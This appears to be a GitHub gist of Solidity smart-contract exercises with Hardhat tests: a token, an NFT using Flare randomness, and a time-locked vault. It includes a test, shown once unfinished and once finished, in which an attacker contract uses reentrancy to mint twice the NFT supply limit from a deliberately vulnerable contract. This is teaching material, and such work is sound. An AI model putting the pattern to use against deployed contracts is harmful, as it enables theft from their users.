function transfer(address to, uint256 amount)
external
override
returns (bool)
{
// Older versions of solidity would need to use string as the error message
// require(_balances[msg.sender] >= amount, "Not enough tokens");
if (amount > _balances[msg.sender]){
revert InsufficientBalance(_balances[msg.sender], amount);
}
_balances[msg.sender] -= amount;
_balances[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
}
describe("Deployment", async () => {
it("Should set the total supply of tokens and owner", async () => {
expect(
await token.totalSupply()
).to.equal(totalSupply, "Invalid total supply");
expect(
await token.balanceOf(owner.address)
).to.equal(totalSupply, "Invalid owner balance");
})
})
it('Should transfer', async () => {
const [_, addr1] = await ethers.getSigners();
expect(
await token.balanceOf(owner.address)
).to.equal(totalSupply, "Invalid owner balance");
// Address should have no balance
expect(
await token.balanceOf(addr1.address)
).to.equal(bn(0), "Invalid owner balance");
const amountToTransfer = bn("1000")
// Transfer token to addr1
await token.transfer(addr1.address, amountToTransfer, { from: owner.address });
expect(
await token.balanceOf(owner.address)
).to.equal(totalSupply.sub(amountToTransfer), "Invalid owner balance");
expect(
await token.balanceOf(addr1.address)
).to.equal(amountToTransfer, "Invalid owner balance");
})
import { ethers } from 'hardhat';
import { BN } from "bn.js";
import { expect } from 'chai';
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
const { expectRevert } = require('@openzeppelin/test-helpers');
import {
NFTAttackerContract, AttackableSimpleNFTContract, AttackableSimpleNFTInstance
} from '../typechain-types/'
const NFTAttacker: NFTAttackerContract = artifacts.require("NFTAttacker");
const AttackableSimpleNFT: AttackableSimpleNFTContract = artifacts.require("TestableAttackableSimpleNFT");
function bn(n: any){
return new BN(n.toString());
}
describe('NFT reentrancy attack', async () => {
const nftPrice = bn(100)
const maxNftSupply = bn(3)
let deployer1: SignerWithAddress
let deployer2: SignerWithAddress
let deployer3: SignerWithAddress
let nftToken: AttackableSimpleNFTInstance
beforeEach(async () => {
[deployer1, deployer2, deployer3] = await ethers.getSigners();
nftToken = await AttackableSimpleNFT.new("", "", nftPrice, maxNftSupply, {from: deployer1.address});
})
it("Should not mint more than specified tokens normally", async () => {
for(let i = 0; i < maxNftSupply.toNumber(); i++){
await nftToken.mint({from: deployer1.address, value: nftPrice});
}
await expectRevert(
nftToken.mint({from: deployer1.address, value: nftPrice}), "No tokens left"
)
})
it("Should be attackable", async () => {
const attacker = await NFTAttacker.new({from: deployer2.address});
const targetNftNumber = maxNftSupply.mul(bn(2));
expect(targetNftNumber).greaterThan(maxNftSupply);
// TODO: Attack
for(let i = 1; i < targetNftNumber.toNumber() + 1; i++){
expect(await nftToken.ownerOf(i)).to.equal(deployer3.address);
}
})
})
import { ethers } from 'hardhat';
import { BN } from "bn.js";
import { expect } from 'chai';
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
const { expectRevert } = require('@openzeppelin/test-helpers');
import {
NFTAttackerContract, AttackableSimpleNFTContract, AttackableSimpleNFTInstance
} from '../typechain-types/'
const NFTAttacker: NFTAttackerContract = artifacts.require("NFTAttacker");
const AttackableSimpleNFT: AttackableSimpleNFTContract = artifacts.require("TestableAttackableSimpleNFT");
function bn(n: any){
return new BN(n.toString());
}
describe('NFT reentrancy attack', async () => {
const nftPrice = bn(100)
const maxNftSupply = bn(3)
let deployer1: SignerWithAddress
let deployer2: SignerWithAddress
let deployer3: SignerWithAddress
let nftToken: AttackableSimpleNFTInstance
beforeEach(async () => {
[deployer1, deployer2, deployer3] = await ethers.getSigners();
nftToken = await AttackableSimpleNFT.new("", "", nftPrice, maxNftSupply, {from: deployer1.address});
})
it("Should not mint more than specified tokens normally", async () => {
for(let i = 0; i < maxNftSupply.toNumber(); i++){
await nftToken.mint({from: deployer1.address, value: nftPrice});
}
await expectRevert(
nftToken.mint({from: deployer1.address, value: nftPrice}), "No tokens left"
)
})
it("Should be attackable", async () => {
const attacker = await NFTAttacker.new({from: deployer2.address});
const targetNftNumber = maxNftSupply.mul(bn(2));
expect(targetNftNumber).greaterThan(maxNftSupply);
await attacker.resetMintTarget(targetNftNumber, nftPrice, {from: deployer2.address});
await attacker.send(nftPrice.mul(targetNftNumber).mul(bn(10)), {from: deployer2.address});
await attacker.startAttack(nftToken.address, {from: deployer2.address});
console.log("Attacker balance: ", (await nftToken.balanceOf(attacker.address)).toString())
console.log("Max available nfts: ", (await nftToken.maxTokens()).toString())
console.log("Minted NFT-s: ", (await nftToken.currentToken()).toString())
for(let i = 1; i < targetNftNumber.toNumber() + 1; i++){
expect(await nftToken.ownerOf(i)).to.equal(attacker.address);
}
// Check that tokens can be transferred
for(let i = 1; i < targetNftNumber.toNumber() + 1; i++){
await attacker.transferTo(nftToken.address, deployer3.address, i);
}
for(let i = 1; i < targetNftNumber.toNumber() + 1; i++){
expect(await nftToken.ownerOf(i)).to.equal(deployer3.address);
}
})
})
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { ERC721Enumerable, ERC721 } from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import { IERC721Metadata } from "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import { IFtso } from "@flarenetwork/flare-periphery-contracts/songbird/contracts/userInterfaces/IFtso.sol";
import { IPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/songbird/contracts/userInterfaces/IPriceSubmitter.sol";
import { IFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/songbird/contracts/userInterfaces/IFtsoRegistry.sol";
error InsufficientAmount();
error NotOwner();
contract SimpleNFT is ERC721Enumerable {
string[14] uidLinks = [
"ipfs://ipfs/bafkreieybi64qgt2nd24ht7e5bkgcfmallurlyqrtufftbzlh65sei4zrq",
"ipfs://ipfs/bafkreigxf6kwo7qq2nds4b4vzqhyy7yj37hkdfkwhs24xy6rayvbf5yfgy",
"ipfs://ipfs/bafkreichupmk6f4uxwvy4izkswlyu3viwlyqaabjwreyd6j3f66tyw33ge",
"ipfs://ipfs/bafkreidruphdcmqb2s5ibympfmuilpuzd64xj3xlu7sruffy2w7hw3oo4u",
"ipfs://ipfs/bafkreiadsbrd4knarjarfmcswxye762h5gcfigdk4xqq4wud2rwhnxttsm",
"ipfs://ipfs/bafkreiat7y3wez6e6autxn73mvjluoxc5gjwzrcjmlrv3outxnm4wdar7m",
"ipfs://ipfs/bafkreieg6xotxyxetew65fg47iy4peu2vsjjr67raxlz5nkm65ebvolrx4",
"ipfs://ipfs/bafkreia3j4oparmlz37kzq5msoix55nz25ucsfgsv5euhuss72vrcmin34",
"ipfs://ipfs/bafkreiawnajxljlztnxyu23hodvysac37seio7scvfwjyb6gqrdomc5gxe",
"ipfs://ipfs/bafkreigvq7766epo3bhpg67oxfuxlofzjt2a6ht2aj2suwdviwezs4l4mq",
"ipfs://ipfs/bafkreigniof2fm2ooeiwomvhachcu2kj74rgz43j4665fcff6tkovmqvs4",
"ipfs://ipfs/bafkreiaqdet3dm2rwpgj4xgi7l2ypefqukanwkeqykajojinuhhbqptpqi",
"ipfs://ipfs/bafkreidejgskxyv6orhpitmq6oxg4meizm6iqeypvx7yymtdbuel7s3itq",
"ipfs://ipfs/bafkreieitl5zfhrwvtnu42gcd5mozuqjcbrrv7vwr2ur7nnxcztmemm4yq"
];
uint256 immutable tokenPrice;
address immutable owner;
mapping (uint256 => uint256) private tokenUidLinkIndex;
constructor(string memory name_, string memory symbol_, uint256 tokenPrice_)
ERC721(name_, symbol_)
{
tokenPrice = tokenPrice_;
owner = msg.sender;
}
function mint() public payable {
if (msg.value < tokenPrice){
revert InsufficientAmount();
}
uint256 tokenId = totalSupply() + 1;
tokenUidLinkIndex[tokenId] = uint256(keccak256(abi.encode(getCurrentRandom(), tokenId))) % uidLinks.length;
_safeMint(msg.sender, tokenId);
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
_requireMinted(tokenId);
return uidLinks[tokenUidLinkIndex[tokenId]];
}
function withdraw() external {
if (msg.sender != owner){
revert NotOwner();
}
payable(owner).transfer(address(this).balance);
}
function getPriceSubmitter() public virtual view returns(IPriceSubmitter) {
return IPriceSubmitter(0x1000000000000000000000000000000000000003);
}
function getCurrentRandom() public view returns(uint256 currentRandom) {
IFtsoRegistry ftsoRegistry = IFtsoRegistry(address(getPriceSubmitter().getFtsoRegistry()));
IFtso ftso = IFtso(ftsoRegistry.getFtso(0));
return ftso.getCurrentRandom();
}
}
import { ethers } from 'hardhat';
import { BN } from "bn.js";
import { expect } from 'chai';
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { TestableSimpleNFTContract, TestableSimpleNFTInstance,
GatewayPriceSubmitterInstance, GatewayPriceSubmitterContract,
MockFtsoRegistryInstance, MockFtsoRegistryContract,
MockFtsoContract, MockFtsoInstance
} from '../typechain-types/'
const TestableSimpleNFT: TestableSimpleNFTContract = artifacts.require("TestableSimpleNFT");
const GatewayPriceSubmitter: GatewayPriceSubmitterContract = artifacts.require("@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockPriceSubmitter.sol:GatewayPriceSubmitter");
const MockFtsoRegistry: MockFtsoRegistryContract = artifacts.require("@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockFtsoRegistry.sol:MockFtsoRegistry");
const MockFtso: MockFtsoContract = artifacts.require("@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockFtso.sol:MockFtso");
function bn(n: any){
return new BN(n.toString());
}
describe('Dynamic token', async () => {
let owner: SignerWithAddress
let simpleNFT: TestableSimpleNFTInstance
let priceSubmitter: GatewayPriceSubmitterInstance
let ftsoRegistry: MockFtsoRegistryInstance
let btcFTSO: MockFtsoInstance
beforeEach(async () => {
[owner] = await ethers.getSigners();
const testableToken = await TestableSimpleNFT.new(
"Flare XKCD Nft",
"FXKCD",
1000
);
simpleNFT = testableToken;
priceSubmitter = await GatewayPriceSubmitter.new();
ftsoRegistry = await MockFtsoRegistry.new();
btcFTSO = await MockFtso.new("BTC");
await btcFTSO.setCurrentRandom(bn(100), bn(0));
await ftsoRegistry.addFtso(btcFTSO.address);
await priceSubmitter.setFtsoRegistry(ftsoRegistry.address);
await testableToken.setPriceSubmitter(priceSubmitter.address);
})
describe("Minting", async () => {
it("Should mint an NFT", async () => {
await simpleNFT.mint({value: 1000});
const balance = await simpleNFT.balanceOf(owner.address);
expect(balance).to.equal(bn(1));
})
it("Should mint multiple NFTS", async () => {
for(let a = 0; a < 10; a++){
await simpleNFT.mint({value: 1000});
}
const balance = await simpleNFT.balanceOf(owner.address);
expect(balance).to.equal(bn(10));
})
})
})
module.exports = [
"XKCD Token",
"FXKCD",
"1000000000000000000",
]
struct Deposit {
uint256 depositAt;
uint256 amountWei;
}
import { artifacts, ethers } from 'hardhat'
import { TokenContract, TokenInstance } from '../typechain-types'
const Token: TokenContract = artifacts.require('Token')
async function main(){
const [deployer] = await ethers.getSigners();
const secondAddress = "TODO";
console.log("Deploying contracts with the account:", deployer.address);
console.log("Account balance:", (await deployer.getBalance()).toString());
const token = await Token.new(1000, {from: deployer.address});
console.log("Token address:", token.address);
const token2 = await Token.at(token.address);
await token2.transfer(secondAddress, 100, {from: deployer.address});
console.log("Token balance:", (await token2.balanceOf(deployer.address)).toString());
console.log("Token balance:", (await token2.balanceOf(secondAddress)).toString());
}
main().then(() => process.exit(0))
const [owner] = await ethers.getSigners();
const Token = await ethers.getContractFactory("MyToken");
const totalSupply = BN("10").pow(BN(19));
const hardhatToken = await Token.deploy(totalSupply, owner.address, {from: owner.address});
expect(
await hardhatToken.totalSupply()
).to.equal(totalSupply, "Invalid total supply");
expect(
await hardhatToken.owner()
).to.equal(owner.address, "Invalid owner");
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { DynamicTokenFlare, IPriceSubmitter } from "./DynamicTokenFlare.sol";
contract TestableDynamicTokenFlare is DynamicTokenFlare {
address public priceSubmitterAddress;
constructor (uint256 _maxSupply, string memory _name, string memory _symbol, uint8 _decimals, string memory _nativeTokenSymbol, string memory _foreignTokenSymbol, uint256 _tokensPerForeignToken) DynamicTokenFlare(_maxSupply, _name, _symbol, _decimals, _nativeTokenSymbol, _foreignTokenSymbol, _tokensPerForeignToken) {}
function setPriceSubmitter(address _priceSubmitterAddress) external {
priceSubmitterAddress = _priceSubmitterAddress;
}
function getPriceSubmitter() public override view returns(IPriceSubmitter) {
return IPriceSubmitter(priceSubmitterAddress);
}
}
// Dummy imports for testing
import { GatewayPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/coston2/mockContracts/MockPriceSubmitter.sol";
import { MockFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockFtsoRegistry.sol";
import { MockFtso } from "@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockFtso.sol";
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { DynamicTokenSongbird, IPriceSubmitter } from "./DynamicTokenSongbird.sol";
contract TestableDynamicTokenSongbird is DynamicTokenSongbird {
address public priceSubmitterAddress;
constructor (uint256 _maxSupply, string memory _name, string memory _symbol, uint8 _decimals, string memory _nativeTokenSymbol, string memory _foreignTokenSymbol, uint256 _tokensPerForeignToken) DynamicTokenSongbird(_maxSupply, _name, _symbol, _decimals, _nativeTokenSymbol, _foreignTokenSymbol, _tokensPerForeignToken) {}
function setPriceSubmitter(address _priceSubmitterAddress) external {
priceSubmitterAddress = _priceSubmitterAddress;
}
function getPriceSubmitter() public override view returns(IPriceSubmitter) {
return IPriceSubmitter(priceSubmitterAddress);
}
}
// Dummy imports for testing
import { GatewayPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockPriceSubmitter.sol";
import { MockFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockFtsoRegistry.sol";
import { MockFtso } from "@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockFtso.sol";
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { SimpleNFT, IPriceSubmitter } from "./SimpleNFT.sol";
contract TestableSimpleNFT is SimpleNFT {
address public priceSubmitterAddress;
constructor (string memory name_, string memory symbol_, uint256 tokenPrice_) SimpleNFT(name_, symbol_, tokenPrice_) {}
function setPriceSubmitter(address _priceSubmitterAddress) external {
priceSubmitterAddress = _priceSubmitterAddress;
}
function getPriceSubmitter() public override view returns(IPriceSubmitter) {
return IPriceSubmitter(priceSubmitterAddress);
}
}
// Dummy imports for testing
import { GatewayPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockPriceSubmitter.sol";
import { MockFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockFtsoRegistry.sol";
import { MockFtso } from "@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockFtso.sol";
import { ethers } from 'hardhat';
import { BN } from "bn.js";
import { expect } from 'chai';
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { TokenContract, TokenInstance } from '../typechain-types/'
const Token: TokenContract = artifacts.require('Token')
function bn(n: any){
return new BN(n.toString());
}
const totalSupply = bn("10").pow(bn("19"));
describe('Token', async () => {
let token: TokenInstance
let owner: SignerWithAddress
beforeEach(async () => {
[owner] = await ethers.getSigners();
token = await Token.new(totalSupply)
})
describe('Transfer', async () => {
it('Should transfer', async () => {
})
})
})
import { ethers } from 'hardhat';
import { BN } from "bn.js";
import { expect } from 'chai';
import {
MyTokenContract
} from '../typechain-types/'
const MyToken: MyTokenContract = artifacts.require("MyToken");
function bn(n: any){
return new BN(n.toString());
}
describe("Token contract", function () {
it("Deployment should assign the total supply of tokens and owner", async function () {
const [owner] = await ethers.getSigners();
const totalSupply = bn(10).pow(bn(19));
const myToken = await MyToken.new(totalSupply, owner.address, {from: owner.address});
expect(
await myToken.totalSupply()
).to.equal(totalSupply, "Invalid total supply");
expect(
await myToken.owner()
).to.equal(owner.address, "Invalid owner");
});
});
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
struct Deposit {
uint256 depositAt;
uint256 amountWei;
}
error TimeLocked(uint256 timeLeft);
error NoDeposit();
contract Vault {
mapping (address => Deposit) private _deposits;
address public owner;
uint256 public lockTime;
constructor(uint256 _lockTime){
owner = msg.sender;
lockTime = _lockTime;
}
function withdraw() external {
Deposit memory userDeposit = _deposits[msg.sender];
if (userDeposit.depositAt == 0) {
revert NoDeposit();
}
if (block.timestamp < userDeposit.depositAt + lockTime) {
revert TimeLocked(userDeposit.depositAt + lockTime - block.timestamp);
}
delete _deposits[msg.sender];
payable(msg.sender).transfer(userDeposit.amountWei);
}
function deposit() public payable {
Deposit memory existingDeposit = _deposits[msg.sender];
// If the user has already deposited, we need to add the new amount to the existing deposit
// Otherwise, we just create a new deposit
// Since everything is zero-initialized, we treat a deposit of 0 as a non-existing deposit
// If the users updates their deposit, the lock time is reset
_deposits[msg.sender] = Deposit(
block.timestamp,
existingDeposit.amountWei + msg.value
);
}
// Forward everything to deposit
receive() external payable {
deposit();
}
fallback() external payable {
deposit();
}
}
import { artifacts, ethers } from 'hardhat'
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
const helpers = require("@openzeppelin/test-helpers")
import chai from 'chai'
const { expect } = chai
import { VaultContract, VaultInstance } from '../typechain-types/'
const Vault: VaultContract = artifacts.require('Vault')
const BN = ethers.BigNumber.from;
const timeLock = 1000
async function calcGasCost(result: Truffle.TransactionResponse<any>) {
let tr = await web3.eth.getTransaction(result.tx);
let txCost = BN(result.receipt.gasUsed).mul(BN(tr.gasPrice));
return txCost;
};
describe('Vault', async () => {
let vault: VaultInstance
let owner: SignerWithAddress
beforeEach(async () => {
[owner] = await ethers.getSigners();
vault = await Vault.new(timeLock);
})
describe("Sending", async () => {
it("Should deposit", async () => {
const balanceBefore = BN(await web3.eth.getBalance(owner.address));
const tx = await vault.deposit({from: owner.address, value: 123});
const balanceAfter = BN(await web3.eth.getBalance(owner.address));
// Balance must change
expect(balanceBefore).to.greaterThan(balanceAfter);
expect(balanceBefore).to.equal(
balanceAfter.add(123).add(await calcGasCost(tx))
);
})
})
import { ethers } from 'hardhat';
import { BN } from "bn.js";
import { expect } from 'chai';
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
const { time } = require("@openzeppelin/test-helpers");
import { VaultContract, VaultInstance } from '../typechain-types/'
const Vault: VaultContract = artifacts.require('Vault')
function bn(n: any){
return new BN(n.toString());
}
const timeLock = 1000
async function calcGasCost(result: Truffle.TransactionResponse<any>) {
let tr = await web3.eth.getTransaction(result.tx);
let txCost = bn(result.receipt.gasUsed).mul(bn(tr.gasPrice));
return txCost;
};
describe('Vault', async () => {
let vault: VaultInstance
let owner: SignerWithAddress
beforeEach(async () => {
[owner] = await ethers.getSigners();
vault = await Vault.new(timeLock);
})
describe("Sending", async () => {
it("Should deposit", async () => {
const balanceBefore = bn(await web3.eth.getBalance(owner.address));
const tx = await vault.deposit({from: owner.address, value: 123});
const balanceAfter = bn(await web3.eth.getBalance(owner.address));
// Balance must change
expect(balanceBefore).to.greaterThan(balanceAfter);
expect(balanceBefore).to.equal(
balanceAfter.add(bn(123)).add(await calcGasCost(tx))
);
})
})
describe("Withdraw", async () => {
it("Should deposit by simple send and withdraw after enough time", async () => {
const balanceBefore = bn(await web3.eth.getBalance(owner.address))
const txHash = await owner.sendTransaction(
{to: vault.address, value: 1234}
);
const tx = await txHash.wait();
const depositCost = tx.effectiveGasPrice.mul(tx.gasUsed);
await time.increase(timeLock + 2);
const txWithdraw = await vault.withdraw({from: owner.address});
const balanceAfter = bn(await web3.eth.getBalance(owner.address));
// Should have the same amount minus gas costs
expect(balanceBefore).to.equal(
balanceAfter.add(bn(depositCost)).add(await calcGasCost(txWithdraw))
);
})
})
})
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment